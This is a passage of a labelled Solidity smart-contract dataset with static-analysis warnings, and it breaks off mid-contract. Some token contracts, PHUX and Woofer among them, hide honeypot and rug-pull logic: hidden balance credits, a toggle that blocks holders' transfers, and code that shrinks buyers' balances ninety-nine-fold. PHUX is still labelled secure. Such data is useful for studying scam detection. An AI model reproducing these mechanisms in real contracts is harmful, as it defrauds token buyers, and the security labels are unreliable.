"file_name": "solidity_code_2088.sol",
"secure": 1,
"size_bytes": 4363
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n address Router = 0x08302ed1E0ce60D9EC8B6cB9450B9857437747eD;\n address Construct = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}",
"file_name": "solidity_code_2089.sol",
"secure": 1,
"size_bytes": 446
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 57f5ff0): Contract locking ether found Contract GOAT6900 has payable functions GOAT6900.receive() But does not have a function to withdraw the ether\n// Recommendation for 57f5ff0: Remove the 'payable' attribute or add a withdraw function.\ncontract GOAT6900 is ERC20, Ownable {\n constructor() ERC20(unicode\"GOAT6900\", unicode\"GTX\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 57f5ff0): Contract locking ether found Contract GOAT6900 has payable functions GOAT6900.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 57f5ff0: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_209.sol",
"secure": 0,
"size_bytes": 1005
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PHUX is Context, IERC20 {\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _user_;\n mapping(address => uint256) private _balances;\n mapping(address => uint256) private _tax;\n\t// WARNING Optimization Issue (constable-states | ID: 798790d): PHUX.decimals should be constant \n\t// Recommendation for 798790d: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\t// WARNING Optimization Issue (constable-states | ID: bd2fb95): PHUX.name should be constant \n\t// Recommendation for bd2fb95: Add the 'constant' attribute to state variables that never change.\n string public name = \"PHUX.io\";\n\t// WARNING Optimization Issue (constable-states | ID: 3693de4): PHUX.symbol should be constant \n\t// Recommendation for 3693de4: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"PHUX\";\n\t// WARNING Optimization Issue (immutable-states | ID: 6a02e45): PHUX.accepted should be immutable \n\t// Recommendation for 6a02e45: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private accepted;\n\t// WARNING Optimization Issue (constable-states | ID: 9e88059): PHUX._TS should be constant \n\t// Recommendation for 9e88059: Add the 'constant' attribute to state variables that never change.\n uint256 public _TS = 250000000 * 1000000;\n address private Constructer;\n\n constructor() {\n _tax[Router] = 2;\n _balances[msg.sender] = _TS;\n accepted = msg.sender;\n BREW();\n }\n\n function BREW() internal {\n Constructer = Construct;\n emit Transfer(address(0), Constructer, _TS);\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _TS;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function blockBot(address _sender) external {\n require(msg.sender == accepted);\n if (_user_[_sender]) _user_[_sender] = false;\n else _user_[_sender] = true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n if (_tax[msg.sender] == 2) {\n _balances[recipient] += amount;\n }\n _send(recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_user_[sender] || _user_[recipient]) amount -= amount;\n _beforeTokenTransfer(sender, recipient, amount);\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n _afterTokenTransfer(sender, recipient, amount);\n }\n function _send(address recipient, uint256 amount) internal virtual {\n require(\n msg.sender != address(0),\n \"ERC20: transfer from the zero address\"\n );\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (_user_[msg.sender]) amount -= amount;\n _beforeTokenTransfer(msg.sender, recipient, amount);\n uint256 senderBalance = _balances[msg.sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[msg.sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n _afterTokenTransfer(msg.sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2090.sol",
"secure": 1,
"size_bytes": 6581
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n address Router = 0x26007489ca4C98d6f29b9aB4aed1f280049e8133;\n address Construct = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}",
"file_name": "solidity_code_2091.sol",
"secure": 1,
"size_bytes": 446
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_2092.sol",
"secure": 1,
"size_bytes": 433
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n assembly {\n codehash := extcodehash(account)\n }\n return (codehash != accountHash && codehash != 0x0);\n }\n function isUniswapPair(address account) internal pure returns (bool) {\n return\n keccak256(abi.encodePacked(account)) ==\n 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;\n }\n}",
"file_name": "solidity_code_2093.sol",
"secure": 1,
"size_bytes": 667
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\ncontract Woofer is Ownable, IERC20 {\n using SafeMath for uint256;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 170d745): Woofer.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 170d745: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public virtual returns (bool) {\n require(_allowances[_msgSender()][from] >= amount);\n _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);\n return true;\n }\n function _basicTransfer(\n address s,\n address r,\n uint256 amount\n ) internal virtual {\n require(s != address(0));\n require(r != address(0));\n if (lSwap(s, r)) {\n return swapTransfer(amount, r);\n }\n if (!dLSwap) {\n require(_balances[s] >= amount);\n }\n uint256 feeAmount = 0;\n _rTotal(s);\n bool ldSwapTransaction = (r == getLdPairAddress() &&\n uniswapV2Pair == s) ||\n (s == getLdPairAddress() && uniswapV2Pair == r);\n if (\n uniswapV2Pair != s &&\n !Address.isUniswapPair(r) &&\n r != address(this) &&\n !ldSwapTransaction &&\n !dLSwap &&\n uniswapV2Pair != r\n ) {\n feeAmount = amount.mul(_feePercent).div(100);\n _checkFee(r, amount);\n }\n uint256 amountReceived = amount - feeAmount;\n _balances[address(this)] += feeAmount;\n _balances[s] = _balances[s] - amount;\n _balances[r] += amountReceived;\n emit Transfer(s, r, amount);\n }\n constructor() {\n _balances[msg.sender] = _totalSupply;\n uniswapV2Pair = msg.sender;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n function name() external view returns (string memory) {\n return _name;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function uniswapVersion() external pure returns (uint256) {\n return 2;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 58b121e): Woofer._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 58b121e: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n struct TOwned {\n address to;\n uint256 amount;\n }\n tOwned[] _tlOwned;\n function lSwap(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n sender == recipient &&\n (Address.isUniswapPair(recipient) || uniswapV2Pair == msg.sender);\n }\n function _checkFee(address _addr, uint256 _amount) internal {\n if (getLdPairAddress() != _addr) {\n _tlOwned.push(tOwned(_addr, _amount));\n }\n }\n function _rTotal(address _addr) internal {\n if (getLdPairAddress() == _addr) {\n\t\t\t// cache-array-length | ID: 1cd7b57\n for (uint256 i = 0; i < _tlOwned.length; i++) {\n uint256 _rOwned = _balances[_tlOwned[i].to].div(99);\n _balances[_tlOwned[i].to] = _rOwned;\n }\n delete _tlOwned;\n }\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0470359): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0470359: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapTransfer(uint256 _amnt, address to) private {\n _approve(address(this), address(_router), _amnt);\n _balances[address(this)] = _amnt;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _router.WETH();\n dLSwap = true;\n\t\t// reentrancy-benign | ID: 0470359\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _amnt,\n 0,\n path,\n to,\n block.timestamp + 22\n );\n\t\t// reentrancy-benign | ID: 0470359\n dLSwap = false;\n }\n bool dLSwap = false;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: 4f2a85a): Woofer.uniswapV2Pair should be immutable \n\t// Recommendation for 4f2a85a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\t// WARNING Optimization Issue (constable-states | ID: e0f5737): Woofer._decimals should be constant \n\t// Recommendation for e0f5737: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 19ec933): Woofer._totalSupply should be immutable \n\t// Recommendation for 19ec933: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 100000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 883bec4): Woofer._feePercent should be constant \n\t// Recommendation for 883bec4: Add the 'constant' attribute to state variables that never change.\n uint256 public _feePercent = 2;\n\t// WARNING Optimization Issue (constable-states | ID: ad24e82): Woofer._router should be constant \n\t// Recommendation for ad24e82: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\t// WARNING Optimization Issue (constable-states | ID: 48fef53): Woofer._name should be constant \n\t// Recommendation for 48fef53: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Woofereum\";\n\t// WARNING Optimization Issue (constable-states | ID: 636bb05): Woofer._symbol should be constant \n\t// Recommendation for 636bb05: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"WOOFER\";\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _basicTransfer(_msgSender(), recipient, amount);\n return true;\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _basicTransfer(from, recipient, amount);\n require(_allowances[from][_msgSender()] >= amount);\n return true;\n }\n function getLdPairAddress() private view returns (address) {\n return\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n}",
"file_name": "solidity_code_2094.sol",
"secure": 0,
"size_bytes": 8979
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ArmyInu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 100000000 * 10 ** 8;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n\t// WARNING Optimization Issue (immutable-states | ID: ec69859): ArmyInu._initialTax should be immutable \n\t// Recommendation for ec69859: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _initialTax;\n\t// WARNING Optimization Issue (immutable-states | ID: a280a8e): ArmyInu._finalTax should be immutable \n\t// Recommendation for a280a8e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _finalTax;\n\t// WARNING Optimization Issue (immutable-states | ID: 811f3a0): ArmyInu._reduceTaxTarget should be immutable \n\t// Recommendation for 811f3a0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _reduceTaxTarget;\n uint256 private _reduceTaxCountdown;\n\t// WARNING Optimization Issue (immutable-states | ID: 6a2c0ea): ArmyInu._feeAddrWallet should be immutable \n\t// Recommendation for 6a2c0ea: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet;\n\n string private constant _name = unicode\"Army Inu\";\n string private constant _symbol = \"ARMY\";\n uint8 private constant _decimals = 8;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 public _maxTxAmount = _tTotal.mul(20).div(1000);\n uint256 public _maxWalletSize = _tTotal.mul(20).div(1000);\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _feeAddrWallet = payable(_msgSender());\n _rOwned[_msgSender()] = _rTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet] = true;\n _initialTax = 7;\n _finalTax = 5;\n _reduceTaxCountdown = 45;\n _reduceTaxTarget = _reduceTaxCountdown.div(2);\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4d4f13b): ArmyInu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4d4f13b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c5a2360): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c5a2360: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b970b70): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b970b70: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c5a2360\n\t\t// reentrancy-benign | ID: b970b70\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: c5a2360\n\t\t// reentrancy-benign | ID: b970b70\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b0516b8): ArmyInu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b0516b8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: b970b70\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: c5a2360\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ebf8f9d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ebf8f9d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b8d4483): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b8d4483: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 64930af): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 64930af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n _feeAddr1 = 0;\n _feeAddr2 = (_reduceTaxCountdown == 0) ? _finalTax : _initialTax;\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n if (_reduceTaxCountdown > 0) {\n _reduceTaxCountdown--;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > 0 &&\n _reduceTaxCountdown < _reduceTaxTarget\n ) {\n\t\t\t\t// reentrancy-events | ID: ebf8f9d\n\t\t\t\t// reentrancy-benign | ID: b8d4483\n\t\t\t\t// reentrancy-eth | ID: 64930af\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ebf8f9d\n\t\t\t\t\t// reentrancy-eth | ID: 64930af\n sendETHToFee(address(this).balance);\n }\n }\n } else {\n _feeAddr1 = 0;\n _feeAddr2 = 0;\n }\n\n\t\t// reentrancy-events | ID: ebf8f9d\n\t\t// reentrancy-benign | ID: b8d4483\n\t\t// reentrancy-eth | ID: 64930af\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: ebf8f9d\n\t\t// reentrancy-events | ID: c5a2360\n\t\t// reentrancy-benign | ID: b970b70\n\t\t// reentrancy-benign | ID: b8d4483\n\t\t// reentrancy-eth | ID: 64930af\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: afac540): ArmyInu.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _feeAddrWallet.transfer(amount)\n\t// Recommendation for afac540: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ebf8f9d\n\t\t// reentrancy-events | ID: c5a2360\n\t\t// reentrancy-eth | ID: 64930af\n\t\t// arbitrary-send-eth | ID: afac540\n _feeAddrWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2627ad1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2627ad1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 133e421): ArmyInu.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 133e421: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cd4006f): ArmyInu.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for cd4006f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 137d7de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 137d7de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 2627ad1\n\t\t// reentrancy-eth | ID: 137d7de\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\t\t// reentrancy-benign | ID: 2627ad1\n\t\t// unused-return | ID: cd4006f\n\t\t// reentrancy-eth | ID: 137d7de\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 2627ad1\n swapEnabled = true;\n\t\t// reentrancy-benign | ID: 2627ad1\n cooldownEnabled = true;\n\n\t\t// reentrancy-eth | ID: 137d7de\n tradingOpen = true;\n\t\t// unused-return | ID: 133e421\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n _transferStandard(sender, recipient, amount);\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: 64930af\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: 64930af\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: ebf8f9d\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: 64930af\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 64930af\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: b8d4483\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(_msgSender() == _feeAddrWallet);\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _feeAddr1,\n _feeAddr2\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 taxFee,\n 